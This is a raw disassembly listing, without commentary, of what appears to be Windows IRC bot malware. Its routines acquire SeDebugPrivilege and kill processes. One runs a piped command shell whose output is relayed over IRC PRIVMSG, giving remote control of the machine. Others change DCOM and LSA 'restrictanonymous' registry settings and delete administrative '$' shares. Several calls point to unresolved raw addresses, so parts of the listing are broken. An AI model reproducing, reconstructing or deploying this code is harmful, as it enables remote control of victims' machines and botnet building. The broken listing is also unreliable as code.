		lea	edi, [ebp+var_350]
		mov	[ebp+var_354], ebx
		rep stosd
		jz	loc_4198BB
		cmp	dword_4CAF78, ebx
		jz	loc_4198BB
		cmp	dword_4CAE88, ebx
		jz	loc_4198BB
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_4CAF94
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_4198AE
		lea	eax, [ebp+var_130]
		mov	[ebp+var_130], 128h
		push	eax
		push	edi
		call	dword_4CAF78
		mov	esi, dword_427068
		test	eax, eax
		jz	loc_4198A9
		lea	eax, [ebp+var_130]
		push	eax
		push	edi
		call	dword_4CAE88
		test	eax, eax
		jz	loc_4198A9
		mov	edi, dword_427084
		mov	ebx, 1F0FFFh

loc_419780:				; CODE XREF: sub_4196BC+1E5j
		xor	eax, eax
		cmp	[ebp+arg_10], eax
		jz	short loc_4197E7
		mov	[ebp+var_4], offset off_4396C0

loc_41978E:				; CODE XREF: sub_4196BC+F3j
		mov	eax, [ebp+var_4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_10C]
		push	eax
		call	near ptr 283104Eh
		nop
		test	eax, eax
		jz	short loc_4197B6
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], offset dword_439720
		jb	short loc_41978E
		jmp	loc_41988F
; ---------------------------------------------------------------------------

loc_4197B6:				; CODE XREF: sub_4196BC+E6j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	loc_41988F
		push	0
		push	eax
		nop
		call	near ptr 2710D21h
		test	eax, eax
		jnz	loc_41988F

loc_4197DD:				; CODE XREF: sub_4196BC+1B9j
		push	[ebp+var_4]
		call	esi
		jmp	loc_41988F
; ---------------------------------------------------------------------------

loc_4197E7:				; CODE XREF: sub_4196BC+C9j
		cmp	[ebp+arg_C], eax
		jnz	loc_41987A
		cmp	[ebp+arg_4], eax
		jz	loc_41988F
		push	[ebp+var_128]
		push	8
		call	dword_4CAF94
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_4], eax
		mov	[ebp+var_354], 224h
		jz	short loc_41983A
		lea	ecx, [ebp+var_354]
		push	ecx
		push	eax
		call	dword_4CAE34
		push	[ebp+var_128]
		test	eax, eax
		jz	short loc_419840
		lea	eax, [ebp+var_234]
		jmp	short loc_419846
; ---------------------------------------------------------------------------

loc_41983A:				; CODE XREF: sub_4196BC+15Cj
		push	[ebp+var_128]

loc_419840:				; CODE XREF: sub_4196BC+174j
		lea	eax, [ebp+var_10C]

loc_419846:				; CODE XREF: sub_4196BC+17Cj
		push	eax
		lea	eax, [ebp+var_554]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_554]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4197DD
; ---------------------------------------------------------------------------

loc_41987A:				; CODE XREF: sub_4196BC+12Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4198C2

loc_41988F:				; CODE XREF: sub_4196BC+F5j
					; sub_4196BC+10Aj ...
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_8]
		call	dword_4CAE88
		test	eax, eax
		jnz	loc_419780
		xor	ebx, ebx

loc_4198A9:				; CODE XREF: sub_4196BC+9Dj
					; sub_4196BC+B3j
		push	[ebp+var_8]
		call	esi

loc_4198AE:				; CODE XREF: sub_4196BC+77j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx

loc_4198BB:				; CODE XREF: sub_4196BC+3Aj
					; sub_4196BC+46j ...
		xor	eax, eax

loc_4198BD:				; CODE XREF: sub_4196BC+22Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_4198C2:				; CODE XREF: sub_4196BC+1D1j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		push	[ebp+var_8]
		mov	edi, eax
		call	esi
		push	0
		push	edi
		call	near ptr 2710D21h
		nop
		test	eax, eax
		jnz	short loc_4198E6
		push	edi
		call	esi
		jmp	short loc_4198BB
; ---------------------------------------------------------------------------

loc_4198E6:				; CODE XREF: sub_4196BC+223j
		push	1
		pop	eax
		jmp	short loc_4198BD
sub_4196BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4198EB	proc near		; DATA XREF: sub_401ACD+26CDo

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_4398C0
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41B886
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_41994A
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409A72
		add	esp, 14h

loc_41994A:				; CODE XREF: sub_4198EB+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_4196BC
		add	esp, 18h
		test	eax, eax
		jnz	short loc_419972
		push	offset unk_43989C
		jmp	short loc_419977
; ---------------------------------------------------------------------------

loc_419972:				; CODE XREF: sub_4198EB+7Ej
		push	offset unk_439878

loc_419977:				; CODE XREF: sub_4198EB+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41B886
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_4199AA
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409A72
		add	esp, 14h

loc_4199AA:				; CODE XREF: sub_4198EB+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4151AC
		push	[ebp+var_14]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26F0000h
		pop	edi
		pop	esi
sub_4198EB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4199C9	proc near		; CODE XREF: sub_401ACD+78B3p
					; sub_40B231+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		nop
		call	near ptr 26907E6h
		mov	esi, eax
		test	esi, esi
		jz	short loc_4199FB
		push	0
		push	esi
		nop
		call	near ptr 2710D21h
		test	eax, eax
		jnz	short loc_4199FB
		push	esi
		xor	edi, edi
		nop
		call	near ptr 26708E6h

loc_4199FB:				; CODE XREF: sub_4199C9+1Aj
					; sub_4199C9+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4199C9	endp

; ---------------------------------------------------------------------------
dword_419A00	dd 6AF63356h, 56565601h, 0ADE85656h, 83FFFFFCh,	35FF18C4h
					; DATA XREF: ___:004015EEo
		dd 4396BCh, 6B5BE890h, 0E3EB0227h

; =============== S U B	R O U T	I N E =======================================



sub_419A20	proc near		; CODE XREF: sub_419A50+2Ap
					; sub_419A88+7Ep ...
		mov	eax, dword_4DB1F8
		push	esi
		mov	esi, dword_427068
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A34
		push	eax
		call	esi

loc_419A34:				; CODE XREF: sub_419A20+Fj
		mov	eax, dword_4DB200
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A41
		push	eax
		call	esi

loc_419A41:				; CODE XREF: sub_419A20+1Cj
		mov	eax, dword_4DB1F4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A4E
		push	eax
		call	esi

loc_419A4E:				; CODE XREF: sub_419A20+29j
		pop	esi
		retn
sub_419A20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A50	proc near		; CODE XREF: sub_401ACD+7604p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_41AFE0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_4DB1FC
		call	near ptr 2700000h
		nop
		test	eax, eax
		jnz	short loc_419A83
		call	sub_419A20
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_419A83:				; CODE XREF: sub_419A50+28j
		push	1
		pop	eax
		leave
		retn
sub_419A50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A88	proc near		; CODE XREF: sub_419B0F+D3p
					; sub_419B0F+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset dword_43D128
		push	[ebp+arg_4]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419ACB
		push	7D0h
		nop
		call	near ptr 2690579h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_419AE2
; ---------------------------------------------------------------------------

loc_419ACB:				; CODE XREF: sub_419A88+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_419AE2:				; CODE XREF: sub_419A88+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFC4
		test	eax, eax
		jg	short loc_419B0B
		call	sub_419A20

loc_419B0B:				; CODE XREF: sub_419A88+7Cj
		xor	eax, eax
		leave
		retn
sub_419A88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B0F	proc near		; DATA XREF: sub_419C64+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_4DB204

loc_419B27:				; CODE XREF: sub_419B0F+79j
					; sub_419B0F+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_4DB1F8
		nop
		call	near ptr 283191Bh
		test	eax, eax
		jz	loc_419BF5
		cmp	[ebp+var_4], edi
		jnz	short loc_419B8A
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_4DB1F4
		call	near ptr 283149Bh
		nop
		test	eax, eax
		jz	short loc_419B80
		cmp	[ebp+var_8], 103h
		jnz	loc_419C19

loc_419B80:				; CODE XREF: sub_419B0F+62j
		push	0Ah
		call	near ptr 2690579h
		nop
		jmp	short loc_419B27
; ---------------------------------------------------------------------------

loc_419B8A:				; CODE XREF: sub_419B0F+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_419BA1

loc_419B91:				; CODE XREF: sub_419B0F+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_419BEF
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_419B91

loc_419BA1:				; CODE XREF: sub_419B0F+80j
		mov	[ebp+var_4], esi

loc_419BA4:				; CODE XREF: sub_419B0F+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_4DB1F8
		nop
		call	near ptr 2710000h
		test	eax, eax
		jz	short loc_419C41
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_4DB238
		call	sub_419A88
		add	esp, 0Ch
		jmp	loc_419B27
; ---------------------------------------------------------------------------

loc_419BEF:				; CODE XREF: sub_419B0F+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_419BA4
; ---------------------------------------------------------------------------

loc_419BF5:				; CODE XREF: sub_419B0F+45j
		push	offset unk_439948
		push	ebx
		push	dword_4DB238
		call	sub_419A88
		push	[ebp+arg_0]
		call	sub_40B412
		add	esp, 10h
		push	1
		nop
		call	near ptr 26F0000h

loc_419C19:				; CODE XREF: sub_419B0F+6Bj
		call	sub_419A20
		push	offset unk_439920
		push	ebx
		push	dword_4DB238
		call	sub_419A88
		push	[ebp+arg_0]
		call	sub_40B412
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26F0000h

loc_419C41:				; CODE XREF: sub_419B0F+C3j
		push	offset unk_4398F0
		push	ebx
		push	dword_4DB238
		call	sub_419A88
		push	[ebp+arg_0]
		call	sub_40B412
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26F0000h
sub_419B0F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419C64	proc near		; CODE XREF: sub_401ACD+2507p

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_419A20
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset dword_43350C
		push	esi
		call	dword_4CB030
		test	eax, eax
		jz	loc_419D5E
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, dword_4270FC
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi
		test	eax, eax
		jz	loc_419D5E
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi
		test	eax, eax
		jz	loc_419D5E
		mov	edi, dword_4270F8
		push	3
		push	esi
		push	esi
		push	offset dword_4DB1FC
		call	edi
		push	eax
		push	[ebp+var_8]
		call	edi
		push	eax
		nop
		call	near ptr 2720000h
		test	eax, eax
		jz	short loc_419D5E
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset dword_43D128
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		nop
		call	near ptr 2670C39h
		test	eax, eax
		jnz	short loc_419D66

loc_419D5E:				; CODE XREF: sub_419C64+2Fj
					; sub_419C64+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_419E14
; ---------------------------------------------------------------------------

loc_419D66:				; CODE XREF: sub_419C64+F8j
		push	[ebp+var_4]
		mov	edi, dword_427068
		call	edi
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_4DB1F8, eax
		mov	eax, [ebp+var_8]
		mov	dword_4DB200, eax
		mov	eax, [ebp+var_2C]
		mov	dword_4DB1F4, eax
		call	edi
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_4DB238, eax
		jz	short loc_419DA0
		push	[ebp+arg_4]
		jmp	short loc_419DA1
; ---------------------------------------------------------------------------

loc_419DA0:				; CODE XREF: sub_419C64+135j
		push	ebx

loc_419DA1:				; CODE XREF: sub_419C64+13Aj
		push	offset dword_4DB204
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	esi
		push	0Ah
		push	offset unk_4399AC
		call	sub_40B0F6
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_43DEB8[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_419B0F
		push	esi
		push	esi
		nop
		call	near ptr 26905D4h
		cmp	eax, esi
		mov	dword_43DEC4[edi], eax
		jnz	short loc_419E12
		nop
		call	near ptr 2690CE2h
		push	eax
		lea	eax, [ebp+var_378]
		push	offset unk_439978
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_4151AC
		add	esp, 10h

loc_419E12:				; CODE XREF: sub_419C64+185j
		xor	eax, eax

loc_419E14:				; CODE XREF: sub_419C64+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419C64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E19	proc near		; DATA XREF: sub_401ACD+2E0Bo

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_419E60
		call	sub_419E79
		jmp	short loc_419E65
; ---------------------------------------------------------------------------

loc_419E60:				; CODE XREF: sub_419E19+3Ej
		call	sub_41A19D

loc_419E65:				; CODE XREF: sub_419E19+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_40B412
		pop	ecx
		push	0
		call	near ptr 26F0000h
		nop
sub_419E19	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E79	proc near		; CODE XREF: sub_419E19+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_4CB044, edi
		jnz	loc_419FAB
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CAFE4
		test	eax, eax
		jnz	short loc_419F04
		mov	ax, word_438724
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CAF98
		test	eax, eax
		jz	short loc_419EE6
		push	offset dword_439C48
		jmp	short loc_419EEB
; ---------------------------------------------------------------------------

loc_419EE6:				; CODE XREF: sub_419E79+64j
		push	offset dword_439C28

loc_419EEB:				; CODE XREF: sub_419E79+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF50
		jmp	short loc_419F17
; ---------------------------------------------------------------------------

loc_419F04:				; CODE XREF: sub_419E79+36j
		lea	eax, [ebp+var_214]
		push	offset dword_439BF8
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_419F17:				; CODE XREF: sub_419E79+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_419F36
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_419F36:				; CODE XREF: sub_419E79+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CAFE4
		test	eax, eax
		jnz	short loc_419FA4
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_4CAF98
		test	eax, eax
		jz	short loc_419F86
		push	offset dword_439BA8
		jmp	short loc_419F8B
; ---------------------------------------------------------------------------

loc_419F86:				; CODE XREF: sub_419E79+104j
		push	offset dword_439B74

loc_419F8B:				; CODE XREF: sub_419E79+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF50
		jmp	short loc_419FBE
; ---------------------------------------------------------------------------

loc_419FA4:				; CODE XREF: sub_419E79+E2j
		push	offset dword_439B38
		jmp	short loc_419FB0
; ---------------------------------------------------------------------------

loc_419FAB:				; CODE XREF: sub_419E79+13j
		push	offset dword_439B08

loc_419FB0:				; CODE XREF: sub_419E79+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_419FBE:				; CODE XREF: sub_419E79+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_419FDD
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_419FDD:				; CODE XREF: sub_419E79+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		cmp	dword_4CB06C, edi
		pop	ecx
		jnz	loc_41A158
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi

loc_41A000:				; CODE XREF: sub_419E79+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_4CAEB8
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_41A09D
		cmp	eax, 0EAh
		jz	short loc_41A09D
		mov	esi, offset off_4399D0

loc_41A031:				; CODE XREF: sub_419E79+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_418C6B
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A048
		push	offset dword_439AE4
		jmp	short loc_41A04D
; ---------------------------------------------------------------------------

loc_41A048:				; CODE XREF: sub_419E79+1C6j
		push	offset dword_439AB8

loc_41A04D:				; CODE XREF: sub_419E79+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A080
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A080:				; CODE XREF: sub_419E79+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		add	esi, 8
		pop	ecx
		cmp	esi, offset dword_4399F0
		jb	short loc_41A031
		jmp	loc_41A135
; ---------------------------------------------------------------------------

loc_41A09D:				; CODE XREF: sub_419E79+1AAj
					; sub_419E79+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_41A12C

loc_41A0AC:				; CODE XREF: sub_419E79+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_41D817
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_41A121
		push	edi
		call	sub_418B58
		push	eax
		push	0
		call	sub_418C6B
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A0DB
		push	offset dword_439A94
		jmp	short loc_41A0E0
; ---------------------------------------------------------------------------

loc_41A0DB:				; CODE XREF: sub_419E79+259j
		push	offset dword_439A68

loc_41A0E0:				; CODE XREF: sub_419E79+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A114
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A114:				; CODE XREF: sub_419E79+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_41A121:				; CODE XREF: sub_419E79+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_41A0AC
		xor	edi, edi

loc_41A12C:				; CODE XREF: sub_419E79+22Dj
		push	[ebp+var_8]
		call	dword_4CB004

loc_41A135:				; CODE XREF: sub_419E79+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_41A000
		lea	eax, [ebp+var_214]
		push	offset dword_439A40
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_41A16B
; ---------------------------------------------------------------------------

loc_41A158:				; CODE XREF: sub_419E79+177j
		lea	eax, [ebp+var_214]
		push	offset dword_439A10
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_41A16B:				; CODE XREF: sub_419E79+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A189
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A189:				; CODE XREF: sub_419E79+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_419E79	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A19D	proc near		; CODE XREF: sub_419E19:loc_419E60p

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_4CB044, ebx
		push	esi
		jnz	loc_41A2CB
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CAFE4
		test	eax, eax
		jnz	short loc_41A228
		mov	ax, word_438768
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CAF98
		test	eax, eax
		jz	short loc_41A20A
		push	offset dword_439DC0
		jmp	short loc_41A20F
; ---------------------------------------------------------------------------

loc_41A20A:				; CODE XREF: sub_41A19D+64j
		push	offset dword_439DA4

loc_41A20F:				; CODE XREF: sub_41A19D+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF50
		jmp	short loc_41A23B
; ---------------------------------------------------------------------------

loc_41A228:				; CODE XREF: sub_41A19D+36j
		lea	eax, [ebp+var_220]
		push	offset dword_439BF8
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

